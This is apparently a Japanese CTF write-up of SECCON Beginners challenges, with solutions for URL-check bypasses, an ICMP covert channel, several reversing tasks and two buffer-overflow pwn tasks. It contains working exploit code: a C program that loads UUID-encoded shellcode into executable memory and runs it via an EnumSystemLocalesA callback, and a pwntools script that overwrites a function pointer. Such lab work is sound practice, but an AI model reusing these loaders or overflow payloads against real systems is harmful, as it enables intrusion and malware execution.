解いたのだけ
ぴったり200位。pwnできないマン。
web
crypto
misc – kingyo_sukui
scooping! http://kingyo-sukui.challenges.beginners.seccon.jp:33333
ゲームの方には手を触れずソースコードを見ると encryptedFlag
と secretKey
がある。
decryptFlag
関数で復号しているので同じ処理をしてやればフラグを得られる。
みんな大好きCyerChefで解いた。secretKey
のデコードと encryptedFlag
の復号の2つに分けてやったが、1回で両方ともやる方法はあるのだろうか。
Flag: ctf4b{n47uma7ur1}
misc – url-checker
有効なURLを作れますか?
nc url-checker.challenges.beginners.seccon.jp 33457
与えられたコードを見ると、ホスト名が許可されたものと一致しない場合に startswith
で判定し、Trueの場合にフラグを返している。なので example.com.jp
などとしてやれば通る。

Flag: ctf4b{574r75w17h_50m371m35_n07_53cur37}
misc – url-checker2
有効なURLを作れますか? Part2
nc url-checker2.challenges.beginners.seccon.jp 33458
hostname
を startswith
で判定しているのは変わらないが、netloc
を :
で区切った最初の部分が許可されたホスト名になっているかどうかの判定が追加されている。netloc
は ://
から /
までの部分のことである。
一見ポート番号指定にも対応していて問題ないように見えるが、URLには認証のためにユーザ名とパスワードを埋め込むことができ、その個所は netloc
内で user:pass@host:port
の形になる。ということはこの形式の場合は :
で区切った最初の部分が user
になるため、ここに許可されたホスト名を埋め込んでやればよい。

Flag: ctf4b{cu570m_pr0c3551n6_0f_url5_15_d4n63r0u5}
misc – Chamber of Echos
どうやら私たちのサーバが機密情報を送信してしまっているようです。 よーく耳を澄ませて正しい方法で話しかければ、奇妙な暗号通信を行っているのに気づくはずです。 幸い、我々は使用している暗号化方式と暗号鍵を入手しています。 収集・復号し、正しい順番に並べてフラグを取得してください。
暗号化方式:
AES-128-ECB
復号鍵 (HEX):
546869734973415365637265744b6579
chamber-of-echos.challenges.beginners.seccon.jp
与えられたコードを見ると、フラグを複数に分割してAESで暗号化し、ICMPのレスポンスで送り出している(分割したうちのどれを送るかはランダム)。何分割されているかはわからないが多めに取れば全パターンあるだろうと、Wiresharkでキャプチャしつつpingを送信してみる。
1つのEcho requestに対してreplyが2つあるのはホストが送ってくる通常のリプライとこのプログラムによるリプライがあるため。ICMPデータが abcdefghijklmnopqrstuvwabcdefghi
になっていないものがこのプログラムによるもの。
CyberChefで復号&フラグ復元プログラムを作ってICMPデータを登録していくと、3つでフラグが完成した。
Flag: ctf4b{th1s_1s_c0v3rt_ch4nn3l_4tt4ck}
reversing – CrazyLazyProgram1
改行が面倒だったのでワンライナーにしてみました。
与えられたコードを(手動で)整形するとこんな感じに。
using System;
class Program {
static void Main() {
int len=0x23;
Console.Write("INPUT > ");
string flag=Console.ReadLine();
if ((flag.Length) != len) {
Console.WriteLine("WRONG!");
} else {
if ( flag[0] == 0x63 && flag[1] == 0x74 && flag[2] == 0x66 && flag[3] == 0x34 &&
flag[4] == 0x62 && flag[5] == 0x7b && flag[6] == 0x31 && flag[7] == 0x5f &&
flag[8] == 0x31 && flag[9] == 0x69 && flag[10] == 0x6e && flag[11] == 0x33 &&
flag[12] == 0x72 && flag[13] == 0x35 && flag[14] == 0x5f && flag[15] == 0x6d &&
flag[16] == 0x61 && flag[17] == 0x6b && flag[18] == 0x33 && flag[19] == 0x5f &&
flag[20] == 0x50 && flag[21] == 0x47 && flag[22] == 0x5f && flag[23] == 0x68 &&
flag[24] == 0x61 && flag[25] == 0x72 && flag[26] == 0x64 && flag[27] == 0x5f &&
flag[28] == 0x32 && flag[29] == 0x5f && flag[30] == 0x72 && flag[31] == 0x33 &&
flag[32] == 0x61 && flag[33] == 0x64 && flag[34] == 0x7d) {
Console.WriteLine("YES!!!\nThis is Flag :)");
} else {
Console.WriteLine("WRONG!");
}
}
}
}
最後の if
文でフラグチェックしてるので True
になるようにフラグを組み立ててやればOK
FLAG: ctf4b{1_1in3r5_mak3_PG_hard_2_r3ad}
reversing – CrazyLazyProgram2
コーディングが面倒だったので機械語で作ってみました
オブジェクトファイルが与えられるのでIDAに食わせてみると何か分岐の多い構造が見えるが、フラグ文字かどうか1文字ずつ判定しているだけなのでそれぞれの文字を抜き出してくればよい。

FLAG: ctf4b{GOTO_G0T0_90t0_N0m0r3_90t0}
reversing – D-Compile
C言語の次はこれ!
This is the next trending programming language!
※一部環境では
libgphobos5
が必要となります。 また必要に応じてecho -n
をご利用ください。Note:In some environments,
libgphobos5
is required. Also, use theecho -n
command as necessary.
IDAで開いて _Dmain
を見たらフラグっぽいものが。
FLAG: ctf4b{N3xt_Tr3nd_D_1an9uag3_101}
reversing – wasm_S_exp
フラグをチェックしてくれるプログラム
WebAssemblyのテキストが与えられる。テキスト形式のWebAssemblyについては以下を参照。
stir
関数では以下の処理をしている
- パラメータで与えられた値と
0x5a5a
をXORする - 37をかける
- 23を足す
- 101で割った余りを求める
- 1024を足す
check_flag
関数では以下のような処理を繰り返している。最初のブロックのデータを使って説明。
- 38をパラメータに
stir
関数を呼び出す - 返り値を番地としてメモリアクセスして1バイト取得
0x7b
と等しいかチェック- 等しくなかったら
0
を返す - 等しければ次に進む
最後まで来たら 1
が返される。要するにメモリにある文字列がフラグかどうかチェックしている。フラグを構成する文字は上記手順の3.で比較している値だが、チェック対象のメモリ番地は順番になっておらずバラバラである。
全部のメモリ番地を計算して並べ替えてやればいいだろう。社会人なので必須スキルのExcelを使って計算。
これをメモリ番地順に並べ替えるとフラグが得られる。
FLAG: ctf4b{WAT_4n_345y_l0g1c!}
reversing – MAFC
flagが欲しいかい?ならこのマルウェアを解析してみな。
Wanna get flag? if so, Reversing this Malware if you can
与えられたファイルは MalwareAnalysis-FirstChallenge.exe
と flag.encrypted
の2つ。ファイル名から想像するに MalwareAnalysis-FirstChallenge.exe
でフラグファイルを暗号化されたものが flag.encrypted
であろう。実行ファイルを解析してフラグファイルを復号すればよいと思われる。
MalwareAnalysis-FirstChallenge.exe
を解析すると非常にストレートなやり方で flag.txt
をAESで暗号化していることがわかるので、鍵やIVなどのパラメータを同じものにして復号するプログラムを書いてやればよい。
#include <Windows.h>
#include <wincrypt.h>
int main(int argc, char** argv) {
HANDLE enc, plain;
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
char keydata[] = "ThisIsTheEncryptKey";
DWORD param = 1;
DWORD filesize, numberofbytesread = 0;
BOOL bRet;
DWORD errcode;
enc = CreateFileA("flag.encrypted", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
plain = CreateFileA("flag.txt", GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
bRet = CryptAcquireContextW(&hProv, 0, L"Microsoft Enhanced RSA and AES Cryptographic Provider", PROV_RSA_AES, 0);
bRet = CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash);
bRet = CryptHashData(hHash, (BYTE *)keydata, strlen(keydata), 0);
bRet = CryptDeriveKey(hProv, CALG_AES_256, hHash, 0x1000000u, &hKey);
param = PKCS5_PADDING;
bRet = CryptSetKeyParam(hKey, KP_PADDING, (BYTE *)¶m, 0);
bRet = CryptSetKeyParam(hKey, KP_IV, (BYTE *)L"IVCanObfuscation", 0);
param = CRYPT_MODE_CBC;
bRet = CryptSetKeyParam(hKey, KP_MODE, (BYTE *)¶m, 0);
filesize = GetFileSize(enc, 0);
BYTE* filedata = (BYTE *)malloc(filesize);
bRet = ReadFile(enc, filedata, filesize, &numberofbytesread, 0);
bRet = CryptDecrypt(hKey, 0, 1, 0, filedata, &filesize);
WriteFile(plain, filedata, filesize, &numberofbytesread, 0);
return 0;
}
これを実行すると復号されたフラグが flag.txt
に格納される。
FLAG: ctf4b{way_2_90!_y0u_suc3553d_2_ana1yz3_Ma1war3!!!}
reversing – code_injection
ある条件のときにフラグが表示されるみたい。
PowerShellのファイルとテキストファイルが与えられる。テキストファイルの方にはUUIDが31個書かれている。PowerShellの方ではそれをUUIDとしてロードしてメモリに格納し、そのメモリ領域のアドレスを EnumSystemLocalesA
関数のパラメータとして与えている。
UUIDというのは128bitのデータであるため、内部的には16バイトのデータになる。このため、UUIDデータを格納した領域は16*31バイトの領域となる。
EnumSystemLocalesA
関数の第一パラメータに渡されたアドレスはコールバック関数として扱われる。すなわち、UUID 31個のデータを格納したメモリ領域の中身は関数として解釈できるということになる。
ではその関数を解析しよう。PowerShellファイルと同じ処理をするプログラムを作成し、IDAでデバッグして EnumSystemLocalesA
関数の実行直前で止める。
#include <windows.h>
#include <rpc.h>
#pragma comment(lib, "Rpcrt4.lib")
int main(int argc, char** argv) {
UUID uuid[31];
BYTE* data = (BYTE *)&uuid;
DWORD numberofbyteswritten = 0;
UuidFromStringA((RPC_CSTR)"56525153-4157-4150-5155-4889e54883e4", &uuid[0]);
UuidFromStringA((RPC_CSTR)"ec8348f0-6530-8b48-0425-60000000488b", &uuid[1]);
UuidFromStringA((RPC_CSTR)"8b482040-80b0-0000-0083-3e000f84a701", &uuid[2]);
UuidFromStringA((RPC_CSTR)"3e810000-0043-0054-7526-817e04460034", &uuid[3]);
UuidFromStringA((RPC_CSTR)"811d7500-087e-0042-3d00-7514837e0c31", &uuid[4]);
UuidFromStringA((RPC_CSTR)"8b480e75-481e-e3c1-0848-895c2420eb06", &uuid[5]);
UuidFromStringA((RPC_CSTR)"02c68348-c3eb-4865-8b04-256000000048", &uuid[6]);
UuidFromStringA((RPC_CSTR)"4818408b-408b-4820-8b00-488b7850488b", &uuid[7]);
UuidFromStringA((RPC_CSTR)"20b9481f-2000-2000-0020-004809cb48c1", &uuid[8]);
UuidFromStringA((RPC_CSTR)"334808e3-245c-4820-8b00-488b78504803", &uuid[9]);
UuidFromStringA((RPC_CSTR)"20b9481f-2000-2000-0020-004809cb4889", &uuid[10]);
UuidFromStringA((RPC_CSTR)"4820245c-588b-8b20-433c-4801d88bb888", &uuid[11]);
UuidFromStringA((RPC_CSTR)"48000000-df01-778b-2048-01de48ba0540", &uuid[12]);
UuidFromStringA((RPC_CSTR)"7d454e56-2a08-8948-5424-104831c98b14", &uuid[13]);
UuidFromStringA((RPC_CSTR)"da01488e-3a81-6547-7453-7514817a0474", &uuid[14]);
UuidFromStringA((RPC_CSTR)"75614864-810b-087a-6e64-6c657502eb05", &uuid[15]);
UuidFromStringA((RPC_CSTR)"ebc1ff48-8bd9-2477-4801-de668b0c4e8b", &uuid[16]);
UuidFromStringA((RPC_CSTR)"01481c77-8bde-8e04-4801-d848ba5b403a", &uuid[17]);
UuidFromStringA((RPC_CSTR)"13404150-4852-5489-2418-b9f5ffffffff", &uuid[18]);
UuidFromStringA((RPC_CSTR)"c08949d0-ba48-5908-0314-1059096b4889", &uuid[19]);
UuidFromStringA((RPC_CSTR)"778b2414-4820-de01-4831-c98b148e4801", &uuid[20]);
UuidFromStringA((RPC_CSTR)"573a81da-6972-7574-1481-7a0465436f6e", &uuid[21]);
UuidFromStringA((RPC_CSTR)"7a810b75-7308-6c6f-6575-02eb0548ffc1", &uuid[22]);
UuidFromStringA((RPC_CSTR)"778bd9eb-4824-de01-668b-0c4e48ba1f72", &uuid[23]);
UuidFromStringA((RPC_CSTR)"13044e56-681c-8948-5424-088b771c4801", &uuid[24]);
UuidFromStringA((RPC_CSTR)"8e048bde-0148-48d8-83ec-30488d542430", &uuid[25]);
UuidFromStringA((RPC_CSTR)"48c93148-f983-7404-124c-8b4c24504c33", &uuid[26]);
UuidFromStringA((RPC_CSTR)"894cca0c-ca0c-ff48-c1eb-e84c89c149c7", &uuid[27]);
UuidFromStringA((RPC_CSTR)"000020c0-4d00-c931-48c7-442420000000", &uuid[28]);
UuidFromStringA((RPC_CSTR)"48d0ff00-c483-eb30-0048-31c04889ec5d", &uuid[29]);
UuidFromStringA((RPC_CSTR)"58415941-5e5f-595a-5bc3-000000000000", &uuid[30]);
BYTE* buf = (BYTE*)VirtualAlloc(NULL, 16 * 31, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
HANDLE hFile = CreateFileA("output.dat", GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
for (int i = 0; i < 31; i++) {
CopyMemory(buf + i * 16, &uuid[i], 16);
WriteFile(hFile, &uuid[i], 16, &numberofbyteswritten, 0);
}
CloseHandle(hFile);
EnumSystemLocalesA((LOCALE_ENUMPROCA)buf, 0);
return 0;
}
その状態で buf
の指すアドレスへ行きデータをコードとして解釈させるといい感じに関数にできる。

アセンブリコードをChatGPTに渡して解説させたらいい感じに出してくれた。
gs:60h
はPEBだが +20h
が何か、その先の +80h
が何かといった情報が足りなかったので追加でPEBの構造などを聞いて確認。総合すると前半では環境変数に CTF4B=1
という文字列があるかどうかをチェックし、なかったら処理を終了している。
環境変数に CTF4B=1
を追加してプログラムを実行すると、コンソールにフラグが出力された。
FLAG: ctf4b{g3t_3nv1r0nm3n7_fr0m_p3b}
pwnable – pet_name
ペットに名前を付けましょう。ちなみにフラグは/home/pwn/flag.txtに書いてあるみたいです。
nc pet-name.challenges.beginners.seccon.jp 9080
与えられたソースコードを見るとペット名を入れるバッファは32バイトあるが、scanf
で入力しているため32バイト以上読み込める。32バイトを超えた分は path
変数を上書きすることになる。
後続の処理で path
変数のファイルを開いて内容を出力しているため、path
変数にフラグファイルのパスを入れればフラグを取得できる。
Flag: ctf4b{3xp1oit_pet_n4me!}
pwnable – pet_sound
ペットに鳴き声を教えましょう。
nc pet-sound.challenges.beginners.seccon.jp 9090
nc
で繋ぐとメモリレイアウトを表示してくれてさらに書き換え対象も “TARGET!” と指定してくれている。親切。ユーザの入力は pet_A->sound
のため、pet_A->speak
の書き換えはできない。指定されている通り pet_B->speak
のところを speak_flag
に書き換えてやればいい。nc
でインタラクティブにやっているところでは非ASCII文字を入力できないため、Pythonコードを書いた。もし nc
使って解く方法があれば教えてほしい。
from pwn import *
conn = remote("pet-sound.challenges.beginners.seccon.jp", 9090)
while True:
try:
line = conn.recvline()
except EOFError:
break
print(line.decode(errors = 'ignore'), end = '')
if b"[hint]" in line:
speak_flag_addr_str = line.split(b"0x")[1]
speak_flag_addr = unhex(speak_flag_addr_str)[::-1]
break
senddata = b"A" * 40 + speak_flag_addr
conn.send(senddata)
while True:
try:
line = conn.recvline()
except EOFError:
break
print(line.decode(errors = 'ignore'), end = '')
Flag: ctf4b{y0u_expl0it_0v3rfl0w!}
pwnable – pivot4b
スタックはあなたが創り出すものです。
nc pivot4b.challenges.beginners.seccon.jp 12300
pwnへたくそマンは解けなかった。